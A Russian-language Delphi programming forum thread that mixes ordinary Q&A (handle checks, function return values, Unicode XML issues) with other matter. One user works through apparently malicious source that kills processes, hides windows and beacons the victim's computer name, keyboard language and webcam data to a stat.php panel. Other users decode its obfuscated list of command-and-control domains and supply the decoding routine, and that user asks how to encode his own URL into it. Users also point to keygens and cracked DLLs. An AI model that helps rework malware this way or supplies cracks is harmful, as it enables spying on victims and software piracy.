Ru-Board.club
← Вернуться в раздел «Прикладное программирование»

» Вопросы по Delphi (версии 2009, 2010 Weaver, 2011 Fulcrum)

Автор: Frodo_Torbins
Дата сообщения: 04.08.2011 15:29
Man_Without_Face
Лучше там и спросите. У себя в закромах я смогу порыться только вечером.
Еще можно попробовать кейген от 2010/XE.
Автор: Man_Without_Face
Дата сообщения: 04.08.2011 16:10
У кого будет такая проблема - в варезнике в шапке есть
Альтернативный залом sanctuary.dll без Access Violation
Копируем dll и все ок. Осталось только найти слип файл,
тот что в архиве не подходит мне.
Автор: yse
Дата сообщения: 04.08.2011 21:22
столкнулся с проблемой с функцией getfilepath

указывает на строку if snapshoth = -1 then exit;

ошибка в дебагере comparison always ewaluatesto false

что может тут быть
function getfilepath(const winh: thandle): string;
var
snapshoth: thandle;
pe32: tprocessentry32;
prid: cardinal;
begin
result := '';
snapshoth := createtoolhelp32snapshot(th32cs_snapprocess, 0);
if snapshoth = -1 then exit;
pe32.dwsize := sizeof(pe32);
getwindowthreadprocessid(winh, prid);
if process32first(snapshoth, pe32) then
repeat
if pe32.th32processid = prid then begin
result := pe32.szexefile;
break;
end;
Автор: Pavel_M2
Дата сообщения: 04.08.2011 21:47
if snapshoth = INVALID_HANDLE_VALUE then exit;

Автор: yse
Дата сообщения: 04.08.2011 23:51
Спасиб,помогло |Спасибо всем,все подсказки были в точности
еще один вопрос
Return value of function 'cl'might be undifined ошибка Возвращаемое значение функции
function cl(h:THandle):boolean;
begin
xkey(13);
ShowWindow(h, SW_HIDE);
KillProcess(h);
SetWindowPos(h, HWND_BOTTOM, 1, 1, 1, 1, SWP_NOREDRAW);
SetWindowPos(h, HWND_BOTTOM, 1, 1, 1, 1, SWP_NOSENDCHANGING);
SetWindowPos(h, HWND_BOTTOM, 1, 1, 1, 1, SWP_NOACTIVATE);
MoveWindow(h, 2000, 2000, 2000, 2000, True);

end; <------------- указывает на строку что тут ошибка
Автор: JAPWork
Дата сообщения: 05.08.2011 06:38
yse
Ну и где у Вас возвращаемое функцией значение?
Автор: Pavel_M2
Дата сообщения: 05.08.2011 08:18
и более того, как я подозреваю, вы еще и убили процесс, владеющий окном
KillProcess(h);
..
так зачем еще этот список вызовов ?

SetWindowPos(h, HWND_BOTTOM, 1, 1, 1, 1, SWP_NOREDRAW);
SetWindowPos(h, HWND_BOTTOM, 1, 1, 1, 1, SWP_NOSENDCHANGING);
SetWindowPos(h, HWND_BOTTOM, 1, 1, 1, 1, SWP_NOACTIVATE);
MoveWindow(h, 2000, 2000, 2000, 2000, True);
..
которые, кстати, можно заменить на один вызов SetWindowPos
Автор: yse
Дата сообщения: 05.08.2011 11:59
Сп.

кусок исходника с инетна мутная кодировка не кому не встречалась
hosts : array [1..14] of string =
(
'&#157;&#165;&#165;&#157;&#162;›d™&#165;&#163;',
'&#339;&#162;&#165;&#165;&#353;gld&#376;©&#157;&#168;›—&#170;d&#165;&#168;&#157;',
'¦—&#162;›¬&#165;j&#339;d&#168;«',
'&#339;¦—&#162;›¬&#165;j&#157;d&#168;«',
'—›&#168;&#157;¤—&#170;jd&#376;©&#157;&#168;›—&#170;d&#165;&#168;&#157;',
'&#732;-¤&#161;›&#162;jd&#376;©&#157;&#168;›—&#170;d&#165;&#168;&#157;',
' &#163;-›¦&#163;¦jd&#376;©&#157;&#168;›—&#170;d&#165;&#168;&#157;',
' &#165;&#163;©&#165;&#353;&#376;&#157;d&#376;©&#157;&#168;›—&#170;d&#165;&#168;&#157;',
'¤&#163;&#339;-›&#165;&#376;id&#376;©&#157;&#168;›—&#170;d&#165;&#168;&#157;',
'&#161;—¦&#168;&#165;&#339;—&#157;gjnnd&#376;©&#157;&#168;›—&#170;d&#165;&#168;&#157;',
'-¦—&#162;›¬fd™&#165;&#163;',
'&#353;¦—&#162;›¬f¬d¤›&#170;',
'›¦—&#162;›¬f©d&#165;&#168;&#157;',
'—&#168;&#732;—&#161;—&#353;—&#732;&#168;—nnd&#168;«'
);

предполагаю что тут описание путей к хостингу как изменить без кодировки на свое допустим вставить только путь до своего УРЛ
в реале в исходниках выглядит иначе вот скрин
http://i.pixs.ru/storage/4/5/9/NoNamebmp_7700385_2639459.jpg
Автор: murkovich
Дата сообщения: 05.08.2011 14:00
yse

Цитата:
кусок исходника с инетна мутная кодировка не кому не встречалась  

А язык какой там, предположительно?
Автор: yse
Дата сообщения: 05.08.2011 14:37
думаю что Русский так как в коментах написано по Русский

Добавлено:
ссылка на исходник http://webfile.ru/5471358 я его уже скидывал обрати внимание на эти строки есть тоже муть

исправляю и делаю без кодировки

p2:='['+GetKeyBoardLanguage+']'+GetCompName;
if length(p1)>3 then
HOST:='http://+p1+p2+inttostr(random(9999))+stat+webcam+sm'else
HOST:='/stat/stat.php';
а в за шифрованном виде смотри на скрин как он закодирован
http://i5.pixs.ru/storage/2/4/5/NoNamebmp_2206729_2640245.jpg

что за Обфускатор?
Автор: Frodo_Torbins
Дата сообщения: 05.08.2011 15:17
yse
Попробуйте этот набор символов под декодером погонять: http://www.artlebedev.ru/tools/decoder/
Автор: yse
Дата сообщения: 05.08.2011 17:00
нет не подходит сильно мутно что то там с этой кодировкой ,приват наверно
Автор: murkovich
Дата сообщения: 05.08.2011 17:24
yse
Да там ведь простой сдвиг на 0x36, первая константа google.com
Автор: yse
Дата сообщения: 05.08.2011 18:13
ну если перевели поделитесь с другими ,а то чайникам трудновато
пример этого аргумента на скрине http://i.pixs.ru/storage/4/5/9/NoNamebmp_7700385_2639459.jpg
,плз
хотелось бы знать весь перевод или частично

Добавлено:

Цитата:
если добавить до end; Result:=true; то нет не какой ошибки ,спс Pavel_M2

Автор: murkovich
Дата сообщения: 05.08.2011 22:16
yse
Да я посмотрел на код в unit2, увидел ф-ю декодирования, брал hex коды значений из hosts, и вручную одну строку подсчитал. Для всего уже компилятор паскаля задействовать надо.
Автор: yse
Дата сообщения: 06.08.2011 10:30
попробую сп.
вот еще с этого исходника
процедура Гет,
там в этих строках символы нужно оставлять пустыми или что то вписать p1:='';
p2:='';
в этих строках

procedure get;
begin
p1:='';
p2:='';
while true do
begin
Автор: murkovich
Дата сообщения: 06.08.2011 12:33
yse
Ладно, добрался до компа с Паскалем и написал эти пять строчек кода, получилось:
[more]
Код: google.com
flood16.isgreat.org
palevo4f.ru
fpalevo4g.ru
aergnat4.isgreat.org
bwnkel4.isgreat.org
jmwepmp4.isgreat.org
jomsodig.isgreat.org
nmfweoi3.isgreat.org
kaprofag1488.isgreat.org
wpalev0.com
dpalev0v.net
epalev0s.org
arbakadabra88.ru
Автор: yse
Дата сообщения: 07.08.2011 19:07
отлично Спасибо ,помоги разобраться в этих строках которые написано до слова Decode в скобках или дай пример как ты это делал на паскале возможно ли таким методом снова зашифровать но уже свой URL
HOST:=Decode('e©&#170;—&#170;e«©›&#168;©d¦&#382;¦u&#376;¤¦—&#168;—&#163;s')+b64(p1)+Decode('\©&#170;¦—&#168;—&#163;s')+b64(p2)+Decode('\™&#165;&#353;›s')+inttostr(random(9999))+Decode('\©&#170;—&#170;s')+(stat)+Decode('\-™s')+b64(webcam)+Decode('\—¬s')+b64(sm) else


http://i.pixs.ru/storage/5/7/7/NoNamebmp_3505840_2651577.jpg





Автор: murkovich
Дата сообщения: 07.08.2011 19:57
yse
Мой страшно сложный код по существу сводится к

Код: s2 := '';
for k := 1 to length(s1) do s2 := s2 + chr(ord(s1[k])-54);
Автор: Man_Without_Face
Дата сообщения: 08.08.2011 09:14
Перевел проект с Delphi 2007 на Delphi 2009. Программа открывает xml файл и загружает в грид. Открываю xml файл с помощью xml-mappera. Компоненты xmlTransform, xmlTransformProvider, ClientDataSet. В delphi 2009 неправильно отображается русский шрифт:
Чистка салона легковогоавтомобиля (для физических
Я так понимаю это из-за юникодности, но как можно это исправить?
Автор: Frodo_Torbins
Дата сообщения: 08.08.2011 09:38
Man_Without_Face
Пример кода бы не помешал. А вообще гляньте какая кодировка задекларирована в вашем xml и какая там реально используется. Если там "encoding="UTF-8"" а реально используется CP1251, то как раз такую абракадабру вы и получите.
Автор: Man_Without_Face
Дата сообщения: 08.08.2011 10:00
Frodo_Torbins
xml: <?xml version="1.0" encoding="Windows-1251" standalone="no"?>
delphi: XML.Encoding := 'Windows-1251';
Кусок кода:
[more]
SysUtils.DecimalSeparator := '.';
if param = 0 then //0- OX отчеты, 1-Kx отчеты
begin
if OpenDialog1.Execute then
begin
SaveCursor := Screen.Cursor;
Screen.Cursor := crHourglass;
try
sXTR := OpenDialog1.Filename;
sXML := ExtractFile(sXTR); //Функция распаковки файла
except
showmessage('Ошибка при разархивировании файла!');
end;
XML := TXMLDocument.Create(nil);
XML.LoadFromXML(sXML);
XML.Active := true;
XML.Encoding := 'Windows-1251'; //Выставляю кодировку

XML.SaveToFile('C:\zx.xml');
//Настраиваю соединение с xml файлом
cdsHeaderOX.Close;
XMLTransform1.SourceXmlFile := 'C:\zx.xml';
XMLTransform1.TransformationFile := 'OXtrans.xtr'; //Файл трансформации в датасет
cdsHeaderOX.XMLData := XMLTransform1.data;
try
cdsHeaderOX.Open;
//cdsHeader - Древовидная структура (датасет в датасете, поле fields)
cdsOX.Close;
cdsOX.Open;

except
showmessage('Ошибка при открытии файла!');
Screen.Cursor := SaveCursor;
end;
[/more]
Автор: Frodo_Torbins
Дата сообщения: 08.08.2011 10:23
Man_Without_Face
А что там внутри ExtractFile?
Автор: Man_Without_Face
Дата сообщения: 08.08.2011 10:55
Frodo_Torbins

Цитата:
А что там внутри ExtractFile?

[more]
function ExtractFile(fname: string): string;
var
strl: TStringList;
ms1, ms2: TMemoryStream;
// rez: AnsiString;
begin
// rez := '';
Result := '';
strl := TStringList.Create();
ms1 := TMemoryStream.Create;
try
ms2 := TmemoryStream.Create;
try
ms1.LoadFromFile(fname);
DecompressStream(ms1, ms2);
strl.LoadFromStream(ms2);
//debug strl.SaveToFile('c:\3.3');
// rez:=strl.Text;
Result := strl.Text
finally
ms1.Free;
end;
finally
ms2.Free;
end;
strl.Free;
// ExtractFile:=rez;
end;

procedure DecompressStream(inpStream, outStream: Tstream);
var
InpBuf, OutBuf: Pointer;
OutBytes, sz: Integer;
begin
InpBuf := nil;
OutBuf := nil;
sz := inpStream.Size - inpStream.Position;
if sz > 0 then
try
GetMem(InpBuf, sz);
inpStream.Read(InpBuf^, sz);
Zdecompress(InpBuf, sz, OutBuf, OutBytes, 0);
outStream.Write(OutBuf^, OutBytes);
finally
if InpBuf <> nil then FreeMem(InpBuf);
if OutBuf <> nil then FreeMem(OutBuf);
end;
outStream.Position := 0;
end;

[/more]
Дело в том что в 2007 все работало на ура. В 2009 заменил функцию
DecompressBuf(InpBuf, sz, 0, OutBuf, OutBytes);
на
Zdecompress(InpBuf, sz, OutBuf, OutBytes, 0);
После загрузки файла в грид (распаковываем сжатый файл в xml), можно открыть файл C:\zx.xml.
В нем с русским шрифтом все нормально.
Автор: Frodo_Torbins
Дата сообщения: 08.08.2011 11:56
Man_Without_Face
Попробуйте в strl.LoadFromStream(ms2); вторым параметром указать TEncoding.ANSI.
Еще можно SetCodePage использовать. Примеры: http://www.delphikingdom.com/asp/answer.asp?IDAnswer=68134 http://www.delphikingdom.com/asp/answer.asp?IDAnswer=67996
Автор: yse
Дата сообщения: 08.08.2011 14:30

Цитата:
а на не мог бы тут под править пару строк под этот декодер а то не знаю куда курилицу вписать,чтоб шифровал не латину а курилицу



program Encode;
var f,g:text;i,x,v,r,k:Longint;s:string;
begin
assign(f,'input.txt');
assign(g,'output.txt');
reset(f);
rewrite(g);
read(f,s);
x:=length(s);k:=0;
for i:=1 to length(s) do
begin
if (((ord(s[i])<=ord('z')) and (ord(s[i])>=Ord('a')))
or ((ord(s[i])<=ord('Z')) and (ord(s[i])>=ord('A')))) then inc(k)
else if k<>0 then begin if k<x then x:=k; k:=0; end else continue;
if i =Length(s) then if k<>0 then begin if k<x then x:=k; k:=0; end;
end;
for i:=1 to length(s) do
begin
if (ord(s[i])<=ord('z')) and (ord(s[i])>=Ord('a')) then begin r:=ord(s[i])-x; if r<ord('a')
then begin v:=ord('z')-ord('a')+1+r;s[i]:=chr(v);Continue;end
else begin s[i]:=chr(r);Continue;end; end;
if (ord(s[i])<=ord('Z')) and (ord(s[i])>=Ord('A')) then begin r:=ord(s[i])-x; if r<ord('A')
then begin v:=ord('Z')-ord('A')+1+r;s[i]:=chr(v);Continue;end
else begin s[i]:=chr(r);Continue;end; end;
end;
write(g,s);
close(f);
close(g);
end.

пробовал так
var f,g: text;А,Б,В,Г,ґ,Д,Е,Є,Ж,З,И,Ї,Й,К,Л,М,Н,О,П,Р,С,Т,У,Ф,Х,Ц,Ч,Ш,Щ,Ь,Ю,Я,а,б,в,г,д,е,є,ж,з,и,ї,й,к,л,м,н,о,п,р,с,т,у,ф,х,ц,ч,ш,щ,ь,ю,я:Longint;s:string;



менял в строках
if (ord(s[i])<=ord('z')) and (ord(s[i])>=Ord('a')) then begin r:=ord(s[i])+54; if r<ord('a')
then begin v:=ord('z')-ord('a')+1+r;s[i]:=chr(v);Continue;end
else begin s[i]:=chr(r);Continue;end; end;
if (ord(s[i])<=ord('Z')) and (ord(s[i])>=Ord('A')) then begin r:=ord(s[i])+54; if r<ord('A')

вместо-х вставил+54
получил
не в зашифрованном виде Google.com
в зашифрованном виде вышло так }ҐҐќў›.™ҐЈ

Автор: Man_Without_Face
Дата сообщения: 08.08.2011 14:40
Frodo_Torbins
Спасибо, но пока этот вопрос придется отложить, еще есть куча ошибок, проще вернуться на делфи 2007. Есть другой вопрос: в варезнике не нашел топика для 2007, куда написать не знаю. C моего архива ставил несколько раз 2007, все нормально ставилось, теперь же при установке (executing - windows installer) выдает ошибку "Error" и завершается. XP sp3, еще стоят bds 2006, codegear 2009, embacadero XE.
Автор: Frodo_Torbins
Дата сообщения: 08.08.2011 15:48
Man_Without_Face
Тема в варезнике: http://forum.ru-board.com/topic.cgi?forum=35&topic=38537 Проблемы могут быть из-за того, что уже стоит 2009. Попробуйте найти дистрибутив 2007 с интегрированными апдейтами. Если еще будут вопросы по установке 2007, то лучше их задавать в варезнике.
Что касается юникода, то перед началом перехода рекомендуется прочитать вот это: Delphi в мире Юникода часть I, часть II, часть III.
Автор: ZeUsMv
Дата сообщения: 08.08.2011 22:37
Доброе время суток! Есть желание написать "админку", но проблема в том, что сервера, которые нужно администь под ораклом в Solaris, админка подразумевается на виндовс. Подскажите каким технологиями можно вытащить
1. ОСь - разрядность, версию
2. Информацию по разделам (партициям), свободно/занято
3. Память, всего/занято/свободно
4. Список процессов - нагрузка на процессор
5. Время ожидания чтения/записи с разделов.


Или это совсем невозможно?
Автор: Molniev
Дата сообщения: 08.08.2011 23:14
1. Если под админков вы подразумевает прогрмму "только под виндовс" - то пролет. Эта информация по сети штатными методами не доступна. Разве что, вы поставите webMin и будете через него собирать эту информацию. Но уж не знаю насколько нужно писать интерфейс над webmin-ом

2. Если вы подразумеваете 2-а приложения: на целевых системах и админка - то все просто - забирайте через пайпы вывод штатных комманд ала uname и отдавайте админке.

PS. А время ожидания чтения/записи с разделов - это чё за зверь? Оно как бы не совсем константа и колеблиться в весьма малых грницах. Может скорость чтения/записи?

Страницы: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172

Предыдущая тема: Установка копоненты ZipTV


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.